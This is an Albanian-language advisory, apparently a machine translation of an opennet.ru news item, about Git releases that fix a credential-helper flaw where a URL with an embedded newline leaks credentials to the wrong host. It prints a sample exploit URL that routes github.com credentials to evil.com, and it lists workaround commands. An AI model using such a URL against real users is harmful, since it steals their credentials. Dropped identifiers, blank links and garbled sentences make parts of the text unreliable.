lëshimet korrigjuese të sistemit të kontrollit të burimit të shpërndarë Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 dhe 2.17.4, në e cila eliminoi () në mbajtësin "", gjë që bën që kredencialet të dërgohen te hosti i gabuar kur një klient git hyn në një depo duke përdorur një URL të formatuar posaçërisht që përmban një karakter të linjës së re. Dobësia mund të përdoret për të rregulluar që kredencialet nga një host tjetër të dërgohen në një server të kontrolluar nga sulmuesi.
Kur specifikoni një URL si "https://evil.com?%0ahost=github.com/", mbajtësi i kredencialeve kur lidhet me hostin evil.com do të kalojë parametrat e vërtetimit të specifikuar për github.com. Problemi ndodh kur kryeni operacione të tilla si "git clone", duke përfshirë përpunimin e URL-ve për nënmodulet (për shembull, "git submodule update" do të përpunojë automatikisht URL-të e specifikuara në skedarin .gitmodules nga depoja). Dobësia është më e rrezikshme në situatat kur një zhvillues klonon një depo pa parë URL-në, për shembull, kur punon me nënmodule, ose në sisteme që kryejnë veprime automatike, për shembull, në skriptet e ndërtimit të paketave.
Për të bllokuar dobësitë në versionet e reja duke kaluar një karakter të linjës së re në çdo vlerë të transmetuar përmes protokollit të shkëmbimit të kredencialeve. Për shpërndarjet, mund të gjurmoni lëshimin e përditësimeve të paketave në faqe , , , , , , .
Si një zgjidhje për të bllokuar problemin Mos përdorni credential.helper kur hyni në depo publike dhe mos përdorni "git clone" në modalitetin "--recurse-submodules" me depo të pakontrolluara. Për të çaktivizuar plotësisht kontrolluesin credential.helper, gjë që e bën dhe marrja e fjalëkalimeve nga , i mbrojtur ose një skedar me fjalëkalime, mund të përdorni komandat:
git config -- unset credential.helper
git config --global -- unset credential.helper
git config --system -- unset credential.helper
Burimi: opennet.ru
